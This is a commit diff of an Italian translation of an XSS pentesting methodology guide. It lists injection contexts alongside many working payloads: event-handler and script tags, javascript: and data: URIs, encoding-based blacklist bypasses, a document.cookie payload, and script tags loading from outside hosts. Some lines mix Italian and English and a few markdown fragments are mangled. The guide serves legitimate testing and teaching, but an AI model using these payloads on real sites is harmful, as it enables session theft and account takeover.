Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr

This commit is contained in:
Translator 2025-09-29 14:59:18 +00:00
parent dafba9a1b6
commit 67b304d76b
3 changed files with 330 additions and 183 deletions

View File

@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)

View File

@ -5,31 +5,32 @@
## Metodologia
1. Verifica se **qualsiasi valore che controlli** (_parameters_, _path_, _headers_?, _cookies_?) viene **riflesso** nell'HTML o **usato** dal codice **JS**.
2. **Trova il contesto** in cui viene riflesso/usato.
3. Se è **reflected**
1. Controlla **quali simboli puoi usare** e a seconda di questo prepara il payload:
1. In **raw HTML**:
2. Trova il **contesto** in cui viene riflesso/usato.
3. Se **riflesso**
1. Controlla **quali simboli puoi usare** e in base a questo prepara il payload:
1. In **HTML grezzo**:
1. Puoi creare nuovi tag HTML?
2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`?
3. Puoi bypassare le protezioni?
4. Il contenuto HTML viene interpretato da qualche engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Se non puoi creare tag HTML che eseguono codice JS, puoi abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
3. Riesci a bypassare le protezioni?
4. Il contenuto HTML viene interpretato da qualche engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di una [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di una [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. All'interno di un **tag HTML**:
1. Puoi uscire al contesto raw HTML?
1. Puoi uscire al contesto HTML grezzo?
2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
4. Puoi bypassare le protezioni?
3. All'interno del **codice JavaScript**:
1. Puoi evadere il tag `<script>`?
2. Puoi evadere la stringa ed eseguire codice JS diverso?
4. Riesci a bypassare le protezioni?
3. All'interno di **codice JavaScript**:
1. Puoi uscire dal tag `<script>`?
2. Puoi uscire dalla stringa ed eseguire diverso codice JS?
3. Il tuo input è in template literals \`\`?
4. Puoi bypassare le protezioni?
4. Riesci a bypassare le protezioni?
4. Funzione Javascript che viene **eseguita**
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
4. Se è **usato**:
1. Potresti sfruttare una **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è usato da qualche sink.**
4. Se **usato**:
1. Potresti sfruttare una **DOM XSS**, fai attenzione a come il tuo input è controllato e se il tuo **input controllato è usato da qualche sink.**
Quando lavori su una XSS complessa potrebbe interessarti consultare:
Quando lavori su una XSS complessa potrebbe esserti utile sapere di:
{{#ref}}
debugging-client-side-js.md
@ -37,29 +38,29 @@ debugging-client-side-js.md
## Valori riflessi
Per sfruttare con successo una XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
Per sfruttare con successo una XSS la prima cosa da trovare è un **valore controllato da te che viene riflesso** nella pagina web.
- **Riflesso intermedio**: Se trovi che il valore di un parametro o anche il path viene riflesso nella pagina web potresti sfruttare una **Reflected XSS**.
- **Salvato e riflesso**: Se trovi che un valore controllato da te è salvato sul server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare una **Stored XSS**.
- **Accessed via JS**: Se trovi che un valore controllato da te viene accesso usando JS potresti sfruttare una **DOM XSS**.
- **Intermediately reflected**: Se trovi che il valore di un parameter o anche del path viene riflesso nella pagina web potresti sfruttare una **Reflected XSS**.
- **Stored and reflected**: Se trovi che un valore controllato da te viene salvato sul server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare una **Stored XSS**.
- **Accessed via JS**: Se trovi che un valore controllato da te viene utilizzato tramite JS potresti sfruttare una **DOM XSS**.
## Contesti
Quando provi a sfruttare una XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, potrai eseguire codice JS arbitrario in modi diversi.
Quando cerchi di sfruttare una XSS la prima cosa da sapere è **dove il tuo input viene riflesso**. A seconda del contesto potrai eseguire codice JS arbitrario in modi diversi.
### Raw HTML
### HTML grezzo
Se il tuo input è **riflesso nell'HTML grezzo** della pagina dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
Ricorda anche [Client Side Template Injection](../client-side-template-injection-csti.md).
Se il tuo input è **riflesso nell'HTML grezzo** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti tag HTML possibili che potresti usare.\
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
### Dentro gli attributi dei tag HTML
### All'interno degli attributi di un tag HTML
Se il tuo input è riflesso dentro il valore di un attributo di un tag potresti provare:
Se il tuo input è riflesso all'interno del valore di un attributo di un tag potresti provare:
1. A **evadere dall'attributo e dal tag** (poi sarai nell'raw HTML) e creare un nuovo tag HTML da abusare: `"><img [...]`
2. Se **puoi evadere dall'attributo ma non dal tag** (`>` è codificato o cancellato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
3. Se **non puoi evadere dall'attributo** (`"` è codificato o cancellato), allora a seconda **di quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** potrai abusarne. Per **esempio**, se controlli un evento come `onclick=` potrai farlo eseguire codice arbitrario al click. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se il tuo input è riflesso dentro “tag non sfruttabili” potresti provare la tecnica **`accesskey`** per abusare della vulnerabilità (ti servirà qualche forma di social engineering per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
1. A **uscire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o cancellato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
3. Se **non puoi uscire dall'attributo** (`"` viene codificato o cancellato), allora a seconda **di quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Ad esempio, se controlli un evento come `onclick=` potrai fargli eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se il tuo input è riflesso dentro "tag non sfruttabili" potresti provare il trucco del **`accesskey`** per abusare della vuln (avrai bisogno di qualche tipo di social engineering per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
```html
@ -69,15 +70,15 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
```
### All'interno del codice JavaScript
In questo caso il tuo input viene riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o in un attributo che usa il protocollo **`javascript:`**:
In questo caso il tuo input viene riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o dentro un attributo che usa il protocollo **`javascript:`**:
- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è racchiuso in qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non noterà che il tuo tag `</script>` iniettato si trovi all'interno del codice HTML.
- Se riflesso **all'interno di una JS string** e l'ultimo trucco non funziona dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è qualche errore, non verrà eseguito:
- Se riflesso tra **`<script> [...] </script>`** tags, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché **il browser prima analizzerà i tag HTML** e poi il contenuto, quindi non noterà che il tag `</script>` iniettato è all'interno del codice HTML.
- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è qualche errore, non verrà eseguito:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Se riflesso all'interno di template literals puoi **inserire espressioni JS** usando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- La **codifica Unicode** funziona per scrivere **codice javascript valido**:
- **La codifica Unicode** funziona per scrivere **codice javascript valido**:
```javascript
alert(1)
alert(1)
@ -85,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting si riferisce alla possibilità di **dichiarare funzioni, variabili o classi dopo che sono state usate in modo da poter sfruttare scenari in cui una XSS sta usando variabili o funzioni non dichiarate.**\
**Controlla la pagina seguente per maggiori info:**
Javascript Hoisting si riferisce all'opportunità di **dichiarare funzioni, variabili o classi dopo che sono state usate così da poter sfruttare scenari in cui una XSS usa variabili o funzioni non dichiarate.**\
**Check the following page for more info:**
{{#ref}}
@ -95,15 +96,15 @@ js-hoisting.md
### Javascript Function
Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune visto in ambiente reale è qualcosa come: `?callback=callbackFunc`.
Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
Un buon modo per scoprire se qualcosa fornito direttamente dall'utente viene eseguito è **modificare il valore del parametro** (per esempio in 'Vulnerable') e guardare nella console errori come:
Un buon modo per capire se qualcosa fornito direttamente dall'utente viene eseguito è **modificare il valore del parametro** (per esempio in 'Vulnerable') e guardare nella console errori come:
![](<../../images/image (711).png>)
Se è vulnerabile, potresti riuscire a **scatenare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**).
Se è vulnerabile, potresti essere in grado di **far scattare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**).
Tuttavia, anche con questa limitazione è ancora possibile effettuare alcune azioni. Questo perché puoi usare quei caratteri validi per **accedere a qualsiasi elemento del DOM**:
Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per **accedere a qualsiasi elemento del DOM**:
![](<../../images/image (747).png>)
@ -115,11 +116,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
Puoi anche provare a **attivare funzioni Javascript** direttamente: `obj.sales.delOrders`.
Puoi anche provare a **eseguire direttamente funzioni Javascript**: `obj.sales.delOrders`.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint con un DOM poco interessante; altre pagine nella stessa origine avranno un DOM più interessante per eseguire ulteriori azioni.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint con un DOM poco interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
Perciò, per sfruttare questa vulnerabilità in un DOM diverso è stato sviluppato lo sfruttamento Same Origin Method Execution (SOME):
Perciò, per **abusare di questa vulnerabilità in un DOM diverso** è stato sviluppato lo sfruttamento **Same Origin Method Execution (SOME)**:
{{#ref}}
@ -128,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
Esiste **JS code** che usa **in modo non sicuro** alcuni **dati controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
Esiste **codice JS** che sta usando **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe abusarne per eseguire codice JS arbitrario.
{{#ref}}
@ -137,7 +138,7 @@ dom-xss.md
### **Universal XSS**
Questo tipo di XSS può essere trovato **ovunque**. Non dipendono solo dallo sfruttamento client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **arbitrary JavaScript execution** può persino essere abusato per ottenere **RCE**, leggere file arbitrari sui client e sui server, e altro ancora.\
Questo tipo di XSS può essere trovato **ovunque**. Non dipendono solo dallo sfruttamento lato client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **esecuzione arbitraria di JavaScript** può persino essere abusata per ottenere **RCE**, **leggere** **file** **arbitrari** su client e server, e altro.\
Alcuni **esempi**:
@ -150,17 +151,17 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
## Immagine per WAF bypass encoding
## WAF bypass encoding image
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Iniezione all'interno di raw HTML
## Iniettare all'interno dell'HTML grezzo
Quando il tuo input viene riflesso **all'interno della pagina HTML** oppure puoi evadere e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è verificare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **codificato in HTML**, **eliminato** o se viene **riflesso senza modifiche**. **Solo nel ultimo caso sarai in grado di sfruttare questa situazione**.\
Per questi casi tieni anche **in considerazione** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Nota: Un commento HTML può essere chiuso usando `-->` o `--!>`**_
Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi scappare e iniettare codice HTML in questo contesto la **prima** cosa che devi fare è verificare se puoi abusare del carattere `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML encoded** o **cancellato** oppure se viene **riflesso senza modifiche**. **Solo nell'ultimo caso potrai sfruttare questa situazione**.\
Per questi casi tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
In questo caso e se non viene usata nessuna black/whitelisting, potresti usare payloads come:
In questo caso e se non viene usato alcun black/whitelisting, potresti usare payloads come:
```html
<script>
alert(1)
@ -168,22 +169,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Ma, se viene utilizzato il black/whitelisting di tags/attributes, dovrai **brute-force quali tag** puoi creare.\
Una volta che hai **individuato quali tag sono consentiti**, dovrai **brute-force attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
Ma, se viene utilizzato il black/whitelisting di tags/attributes, dovrai eseguire un **brute-force which tags** per capire quali tag puoi creare.\
Una volta che hai **located which tags are allowed**, dovrai eseguire un **brute-force attributes/events** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
### Brute-force Tags/Eventi
### Tags/Events brute-force
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copy tags to clipboard**_. Poi, inviali tutti usando Burp intruder e verifica se qualche tag non è stato rilevato come malevolo dal WAF. Una volta scoperti i tag utilizzabili, puoi **brute force tutti gli eventi** usando i tag validi (nella stessa pagina web clicca su _**Copy events to clipboard**_ e segui la stessa procedura di prima).
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copy tags to clipboard**_. Poi inviali tutti usando Burp intruder e verifica se qualche tag non è stato rilevato come malevolo dal WAF. Una volta scoperto quali tag puoi usare, puoi **brute force all the events** usando i tag validi (nella stessa pagina clicca su _**Copy events to clipboard**_ e segui la stessa procedura di prima).
### Tag personalizzati
### Custom tags
Se non trovi nessun HTML tag valido, puoi provare a **creare un custom tag** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far sì che la pagina **focus on that object** ed **execute** il codice:
Se non hai trovato nessun tag HTML valido, puoi provare a **create a custom tag** e ad eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far sì che la pagina faccia **focus on that object** e **execute** il codice:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
Se viene usato qualche tipo di blacklist puoi provare a bypassarla con qualche trucco sciocco:
Se viene usata qualche blacklist puoi provare a bypassarla con qualche trucco stupido:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -233,31 +234,31 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Bypass di lunghezza (small XSSs)
### Bypass della lunghezza (small XSSs)
> [!NOTE] > **Altri tiny XSS payload per diversi ambienti** [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
> [!NOTE] > **Altri payload tiny XSS per diversi ambienti** [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
L'ultimo usa 2 caratteri unicode che si espandono in 5: telsr\
Più di questi caratteri possono essere trovati [here](https://www.unicode.org/charts/normalization/).\
Per verificare in quali caratteri sono decomposti controlla [here](https://www.compart.com/en/unicode/U+2121).
L'ultimo sta usando 2 caratteri Unicode che si espandono in 5: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Se, per sfruttare la vulnerabilità, hai bisogno che **l'utente clicchi un link o un form** con dati precompilati, puoi provare a [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
Se, per sfruttare la vulnerabilità, hai bisogno che l'**utente clicchi un link o un form** con dati precompilati, puoi provare a [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
### Impossible - Dangling Markup
Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) perché potresti **exploit** la vulnerabilità **senza** eseguire codice **JS**.
Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because potresti **exploit** la vulnerabilità **senza** eseguire **JS** code.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
Se ti trovi **all'interno di un tag HTML**, la prima cosa che puoi provare è **escape** dal tag e usare alcune delle tecniche menzionate nella [previous section](#injecting-inside-raw-html) per eseguire codice JS.\
Se **non puoi escape dal tag**, puoi creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, per esempio usando un payload come (_nota che in questo esempio le doppie virgolette sono usate per escape dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
Se ti trovi **all'interno di un tag HTML**, la prima cosa che puoi provare è **uscire** dal tag e usare alcune delle tecniche menzionate nella [previous section](#injecting-inside-raw-html) per eseguire codice **JS**.\
Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice **JS**, per esempio usando un payload come (_nota che in questo esempio le virgolette doppie sono usate per fare escape dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente dentro il tag_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -274,14 +275,14 @@ Se **non puoi escape dal tag**, puoi creare nuovi attributi all'interno del tag
```
### All'interno dell'attributo
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o cancellato), a seconda di **in quale attributo** il tuo valore viene riflesso e **se controlli tutto il valore o solo una parte**, potrai abusarne. Per **esempio**, se controlli un evento come `onclick=` potrai far eseguire codice arbitrario quando viene cliccato.\
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **in quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** potrai abusarne. Per **esempio**, se controlli un event come `onclick=` potrai far eseguire codice arbitrario quando viene cliccato.\
Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
**Bypass all'interno dell'evento usando HTML encoding/URL encode**
**Bypass all'interno dell'evento usando codifica HTML/URL**
I **caratteri HTML codificati** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Nota che **qualsiasi tipo di codifica HTML è valido**:
Nota che **qualsiasi tipo di codifica HTML è valida**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -302,7 +303,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass all'interno dell'evento usando Unicode encode**
**Bypass all'interno di event usando Unicode encode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -310,7 +311,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
```
### Protocolli speciali all'interno dell'attributo
Lì puoi usare i protocolli **`javascript:`** o **`data:`** in alcuni punti per **eseguire codice JS arbitrario**. Alcuni richiederanno l'interazione dell'utente, altri no.
Lì puoi usare i protocolli **`javascript:`** o **`data:`** in alcuni contesti per **eseguire codice JS arbitrario**. Alcuni richiederanno l'interazione dell'utente, altri no.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -332,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Luoghi dove puoi iniettare questi protocolli**
**In generale** il protocollo `javascript:` può essere **usato in qualsiasi tag che accetta l'attributo `href`** e nella **maggior parte** dei tag che accettano l'**attributo `src`** (ma non `<img`)
**In generale** il protocollo `javascript:` può essere **usato in qualsiasi tag che accetta l'attributo `href`** e nella **maggior parte** dei tag che accettano l'**attributo `src`** (ma non `<img>`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -354,11 +355,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Altri trucchi di offuscamento**
_**In questo caso la codifica HTML e il trucco di codifica Unicode della sezione precedente sono anch'essi validi poiché ti trovi all'interno di un attributo.**_
_**In questo caso la codifica HTML e la codifica Unicode della sezione precedente sono valide anche perché ti trovi all'interno di un attributo.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input dentro `javascript:...` viene URL encoded, verrà URL decoded prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apostrofo** e vedi che **viene URL encoded**, ricorda che **non importa,** verrà **interpretato** come un **apostrofo** al momento dell'**esecuzione**.
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input dentro `javascript:...` viene URL encoded, sarà URL decoded prima di essere eseguito.** Quindi, se devi **escape** dalla **string** usando un **single quote** e noti che **viene URL encoded**, ricorda che **non importa,** sarà **interpretato** come un **single quote** durante il tempo di **esecuzione**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -366,9 +367,9 @@ Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input d
```
Nota che se provi a **usare entrambi** `URLencode + HTMLencode` in qualsiasi ordine per codificare il **payload** non **funzionerà**, ma puoi **mescolarli all'interno del payload**.
**Uso di Hex e Octal encode con `javascript:`**
**Usando Hex e Octal encode con `javascript:`**
Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **HTML tags to execute JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -384,17 +385,17 @@ Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `ifram
```javascript
<a target="_blank" rel="opener"
```
Se puoi iniettare qualsiasi URL in un qualsiasi tag **`<a href=`** che contiene gli attributi **`target="_blank" and rel="opener"`**, consulta la **pagina seguente per sfruttare questo comportamento**:
Se puoi inserire qualsiasi URL in un arbitrario **`<a href=`** tag che contiene gli attributi **`target="_blank" and rel="opener"`**, consulta la **pagina seguente per sfruttare questo comportamento**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### Bypass dei gestori di eventi "on"
### Bypass degli 'on' Event Handlers
Prima di tutto controlla questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **"on" event handlers**.\
Nel caso ci sia una blacklist che ti impedisce di creare questi gestori di eventi, puoi provare i seguenti bypass:
Se esiste una blacklist che ti impedisce di creare questi event handlers, puoi provare i seguenti bypass:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -409,14 +410,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
### XSS in "tag non sfruttabili" (hidden input, link, canonical, meta)
Da [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ora è possibile abusare di hidden input con:**
Da [**qui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ora è possibile abusare degli hidden inputs con:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
E nei **meta tag**:
E nei **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -430,15 +431,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Da [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **XSS payload all'interno di un attributo hidden**, a condizione che tu riesca a **persuadere** la **victim** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione diversa usando un tasto diverso nell'attributo accesskey. Ecco il vettore:
Da [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **XSS payload inside a hidden attribute**, a condizione che tu riesca a **convincere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa usando un tasto diverso nell'access key attribute. Ecco il vettore:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Il payload XSS sarà qualcosa del tipo: `" accesskey="x" onclick="alert(1)" x="`**
**Il XSS payload sarà qualcosa del tipo: `" accesskey="x" onclick="alert(1)" x="`**
### Bypass della Blacklist
### Bypass della blacklist
Sono già stati mostrati diversi trucchi usando differenti encoding all'interno di questa sezione. Torna **indietro per imparare dove puoi usare:**
Alcuni trucchi che utilizzano differenti encoding sono già stati esposti all'interno di questa sezione. Torna **indietro per imparare dove puoi usare:**
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -448,19 +449,19 @@ Sono già stati mostrati diversi trucchi usando differenti encoding all'interno
**Bypass per tag e attributi HTML**
Leggi la [Blacklist Bypasses of the previous section](#blacklist-bypasses).
Leggi la [sezione Bypass della blacklist precedente](#blacklist-bypasses).
**Bypass per codice JavaScript**
Leggi la [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
Leggi la [blacklist di bypass per JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Se trovi una **XSS in una parte molto piccola** del sito che richiede qualche tipo di interazione (magari un piccolo link nel footer con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità che il link venga attivato.
Se trovi una **XSS in una porzione molto piccola** del sito che richiede qualche tipo di interazione (ad esempio un piccolo link nel footer con un elemento onmouseover), puoi provare a **modificare lo spazio occupato dall'elemento** per massimizzare le probabilità che il link venga attivato.
Per esempio, potresti aggiungere dello styling nell'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ad esempio, puoi aggiungere dello styling all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ma, se il WAF sta filtrando l'attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, per esempio
Ma, se il WAF filtra l'attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, ad esempio
> .test {display:block; color: blue; width: 100%\}
@ -468,27 +469,27 @@ e
